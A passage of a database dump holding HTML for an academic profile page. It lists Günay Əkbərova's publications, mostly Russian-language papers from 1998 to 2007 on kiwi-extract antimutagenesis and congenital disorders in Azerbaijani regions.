width=\"123\"><p>Тезисы докладов XIII Республиканской научной конференции аспирантов вузов Азербайджана, Баку, 1990</p></td><td width=\"57\"><p><strong>1990</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr></tbody></table>  <br></div>'),(827,564,'az','Günay Əkbərova','Günay Əkbərova','<div><br></div><div> <div style=\"font-size:small;font-family:\'times new roman\', times, serif\"><table cellspacing=\"0\" cellpadding=\"0\" width=\"948\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><tbody><tr><td width=\"44\"><h2 class=\"cufon_headings\" style=\"margin:0px;padding:0px 0px 8px;font-stretch:normal;line-height:normal;color:#000000;text-decoration:underline\"><strong>№№</strong></h2></td><td width=\"330\"><h2 class=\"cufon_headings\" style=\"margin:0px;padding:0px 0px 8px;font-stretch:normal;line-height:normal;color:#000000;text-decoration:underline\"><strong>Title of publication</strong></h2></td><td width=\"342\"><h2 class=\"cufon_headings\" style=\"margin:0px;padding:0px 0px 8px;font-stretch:normal;line-height:normal;color:#000000;text-decoration:underline\"><strong>Publications type/publication activities</strong></h2></td><td width=\"113\"><h2 class=\"cufon_headings\" style=\"margin:0px;padding:0px 0px 8px;font-stretch:normal;line-height:normal;color:#000000;text-decoration:underline\"><strong>Pages</strong></h2></td><td width=\"118\"><h2 class=\"cufon_headings\" style=\"margin:0px;padding:0px 0px 8px;font-stretch:normal;line-height:normal;color:#000000;text-decoration:underline\"><strong>Authors</strong></h2></td></tr></tbody></table><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"950\" style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff;border:1px solid #000\"><thead><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>1</strong></p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>2</strong></p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>4</strong></p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>5</strong></p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>6</strong></p></td></tr></thead><tbody><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>1.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Genetic aspects of the chemical pollution of the Caspian sea</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Workshop. Ecological problems of Caspian Sea and Ecological education in Caspian countries. Abstracts, comments, resolution. Baku, 1998&nbsp;&nbsp;</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">С.27</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">M. Babayev</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>2.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Практическое применение антиоксидантов и роль в торможении процесса старения.&nbsp;</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">«Эянъ биолог-99» республика елми конфрансынын програм вя материаллары. Бакы, 1999</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.92-93</p></td><td width=\"121\" style=\"vertical-align:top\">&nbsp;</td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>3.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Экология питания и роль антиоксидантов в продолжительности жизни (методические указания)</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Баку. Изд-во БГУ, 1999.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">62с.</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Бабаев М.Ш.</p>&nbsp;</td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>4.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Частота аберраций хромосом в клетках проростков облученных семян пшеницы и лука-батуна в зависимости от временных режимов их обработки препаратом МЗ-87</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">«Биолоэийанын мцасир проблемляри» мювзусунда елми конфрансын материаллары. БДУ, 2000</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 163-164</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Бабаев М.Ш.</p><p style=\"margin:0px 0px 10px;padding:0px\">Бахшалиева Н.З.</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>5.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Влияние экстракта из плодов Actinidia chinensis на УФ-индуцированный мутагенез в клетках E. coli дикого типа</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Мат-лы республиканской конф-ции \"Проблемы защиты генома\". Выпуск I. –Баку, 2002.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.23-26</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Алиев А.А.</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>6.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Модификация экстрактом из плодов киви генотоксичности ионизирующей радиации</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">\"Експериментал биолоэийанын инкишаф перспективляри\" елми конфрансын материаллары. –Бакы. БДУ, 2002.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 37-38</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>7.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Некоторые особенности коррекции экстрактом из плодов киви индуцированного мутагенеза в клетках млекопитающих</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">\"Експериментал биолоэийанын инкишаф перспективляри\" елми конфрансын материаллары. –Бакы. БДУ няшр., 2002.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 35-36</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>8.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Регуляция химического мутагенеза экстрактом из плодов Actinidia chinensis на модели микроорганизмов</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">В.Ахундов адына МЕТТПИ-нун 80 иллик йубилейиня щяср олунмуш конфранс материалларынын мяъмуяси. Бакы, 2002.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.63-64</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\"><strong>9.&nbsp;&nbsp;</strong>&nbsp;</p></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Коррекция индуцированного мутагенеза экстрактом из плодов Actinidia chinensis</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Мат-лы XI Международного симпозиума \"Нет­радиционное растениеводство. Эниология. Экология и здоровье\". –Таврия. Симферополь, 2002.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с. 371-372</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>10.&nbsp;&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Стресс-протекторное действие экстракта из плодов Actinidia chinensis при химическом мутагенезе</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Материалы IV Международной научно-практической конференции \"Интродукция нетрадиционных и редких сельскохозяйственных растений \". –Ульяновск, 2002. –Т. 2.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.224-226</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>11.&nbsp;&nbsp;&nbsp;</strong>&nbsp;</td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Антимутагенная активность экстракта из плодов Actinidia chinensis</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">\"Проф. Б.М.Мащмудбяйовун 100-иллик йубилейиня щяср олунмуш\" елми-тяърцби конфрансынын елми ишляр топлусу. –Бакы, Бакы Славйан Университети Няшриййаты, 2002.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.109-110</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Рагимова Г.К.</p><p style=\"margin:0px 0px 10px;padding:0px\">Алиева Д.М.</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>12.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Модификация последовательных этапов индуцированного мутационного процесса экстрактом из плодов киви</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">\"Проф. Б.М.Мащмудбя­йовун 100-иллик йубилейи­ёня щяср олунмуш\" елми-тяърцби конфрансынын елми ишляр топлусу. –Бакы, Бакы Славйан Университети Няшриййаты, 2002.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.110-111</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>13.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Особенности защиты генома при применении экстракта из плодов киви до и после воздействия мутагенов</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Бакы Университетинин хябярляри. Тябият елмляри серийасы. 2002, №3.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.89-94</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>14.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Регуляция индуцированного мутагенеза экстрактом из плодов Actinidia chinensis</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">\"Билэи\" дярэиси. Кимйа, Биолоэийа, Тибб серийасы. 2002, №4.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.52-55</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>15.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Роль экстракта из плодов киви в уменьшении генетических повреждений и в стабилизации окислительно-восстановительных процессов</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;\"Биокимйа бу эцн вя сабащ\" мювзусунда елми конфрансын материаллары. -Бакы, БДУ, 2003.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.128-130</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>16.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Эффективность защиты генома экстрактом из плодов киви в зависимости от генотипа клеток Escherichia coli</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Азярбайъан МЕА эянъ алимляринин (аспирантларынын) материаллары. –Бакы, 2003</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.148-149</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>17.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Особенности защиты генома млекопитающих экстрактом из плодов Actinidia chinensis в условиях радиационного мутагенеза</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Азярбайъан Метаболизм Журналы. –Ъилд 1, №1, Йанвар-Ийун, 2003.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.32-36</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>18.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Модификация перекисного окисления липидов (ПОЛ) экстрактом из плодов киви у облученных животных.</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">«Биолоэийада инкишаф вя мцасирлик» мювзусунда республика елми конфрансынын материаллары. Бакы, 2004.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.46-47.</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>19.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Генозищитный потенциал биокомплекса из плодов Actinidia chinensis</p></td><td colspan=\"2\" width=\"341\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">От фундаментальной науки - к новым технологиям. Химия и биотехнология биологически активных веществ, пищевых продуктов и добавок. Экологически безопасные технологии: Материалы Международной конференции молодых ученых. Вып. 4. Тверь: ТГТУ, 2004.</p></td><td width=\"114\"><p style=\"margin:0px 0px 10px;padding:0px\">с.17-18</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>20.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Изучение антимутагенной активности экстракта из плодов киви при химическом мутагенезе</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">«Експериментал биолоэийа вя мцасирлик» мювзусунда республика елми конфрансынын материаллары. -Бакы, БДУ, 2005.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">С.61</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>21.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Наследственные заболевания и врожденные пороки развития у населения Саатлинского района Азербайджанской республики</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Елми журнал «Азярбайъанда тибб елми вя практик сящиййянин мцасир наилиййятляри». - №1, 2005.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.147-150</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Э.М.Расулов</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>22.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Йцксяк температурлу аллел-спесифик амплификасийа методу иля b-талассемийалы хястялярдя b-глобин эенинин тядгиги</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;Елми журнал «Азярбайъанда тибб елми вя практик сящиййянин мцасир наилиййятляри». - №1, 2005.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.209-212</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Е.З.Аббасова, А.Б.Щаъыйев, Е.М.Рясулов</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>23.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Медико-генетические исследования популяции двух регионов Азербайджана&nbsp;<br style=\"margin-bottom:10px\"><br style=\"margin-bottom:10px\"><strong>&nbsp;</strong></p><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Научная конференция с международным участием «Актуальные проблемы науки и образования», Варадеро (Куба), 20-30 марта 2006. \"Современные проблемы науки и образования\". М: «Академия Естествознания»,&nbsp; №3, 2006.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.93-94</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>24.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Мониторинг врожденных пороков развития и наследственных заболеваний в одном регионе Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">II научная конференция с международным участием «Фундаментальные и прикладные проблемы медицины и биологии», Гоа (Индия), 4-16 марта 2006. \"Успехи современного естествознания\". М: «Академия Естествознания», №5, 2006.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.75-76</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Э.М.Расулов</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>25.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Старение и антиоксиданты</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">\"Проф. М.Мустафайев 100-иллик йубилейиня щяср олунмуш\" елми-практик конфрансынын материаллары, Бакы, 26-29 апрел. –Бакы, 2006.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.76-79</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">М.Ш.Бабаев, Е.И.Алиева</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>26.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Регистр наследственных заболеваний и врожденных пороков развития у населения одного из регионов Азербайджанской республики</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">XI Всероссийская научно-практическая конференция «Молодые ученые в медицине»: Тезисы докладов. - Казань: ЗАО «Новое знание», 2006.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">С.85</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>27.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Здоровье населения в сельскохозяйственном регионе Азербайджанской Республики</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Общественное здоровье: мониторинг, организация медицинской помощи: материалы XLI научно-практической конференции с международным участием, посвященной 30-летию ГУ НИИ комплексных проблем гигиены и профессиональных заболеваний СО РАМН / под ред. В.В.Захаренкова. – Новокузнецк, 2006.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.6-7</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>28.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Модификация эффекта гамма – облучения экстрактом из плодов киви</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">V съезд по радиационным исследованиям (радиобиология, радиоэкология, радиационная безопасность), Москва, 10-14 апреля 2006 г. - М. Тезисы докладов, т. 2, 2006.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">С.23</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>29.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Исследование врожденных патологий у населения Сальянского и Джалилабадского районов Азербайджанской Республики</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">«Биолоэийада елми наилиййятляр» мювзусунда республика елми конфрансынын материаллары. -Бакы, БДУ, 2006.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.4-5</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Р.А.Кулиев</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>30.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Встречаемость врожденных пороков развития и наследственных болезней в трех районах Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Мяркязи нефтчиляр хястяханасынын 50 иллик йубилейиня щяср олунмуш елми ясярлярин мяъмуяси. - Бакы: «Верже», 2006.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.268-274</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Э.М.Расулов, Э.Э.Расулов, Б.Р.Кичибеков</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>31.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Популяционно-генетическое исследование детского населения Кобустанского и Ахсуинского районов Азербайджанской Республики</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Елми – практик журнал «Саьламлыг» - Бакы, №6, 2006.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.105-110</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Э.М.Расулов</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>32.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Аномалии развития среди населения Таузского района Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Елми – практик журнал «Саьламлыг» - Бакы, №4, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.123-126</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>33.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Нарушения центральной нервной системы среди детского населения Ширванской зоны Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">XII Всероссийская научно-практическая конференция «Молодые ученые в медицине». 25-26 апреля 2007 г. Тезисы докладов. Казань: Отечество, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">С.96</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" style=\"vertical-align:top\"><strong>34.&nbsp;&nbsp;&nbsp;</strong>&nbsp;<ol style=\"margin:0px;padding:0px;list-style:none\"></ol></td><td width=\"330\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Генетико-эпидемиологическое исследование населения Акстафинского района Азербайджана</p></td><td width=\"340\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">Елми – практик журнал «Саьламлыг» - Бакы, №5, 2007.</p></td><td colspan=\"2\" width=\"115\"><p style=\"margin:0px 0px 10px;padding:0px\">с.113-117</p></td><td width=\"121\" style=\"vertical-align:top\"><p style=\"margin:0px 0px 10px;padding:0px\">&nbsp;</p></td></tr><tr><td width=\"44\" 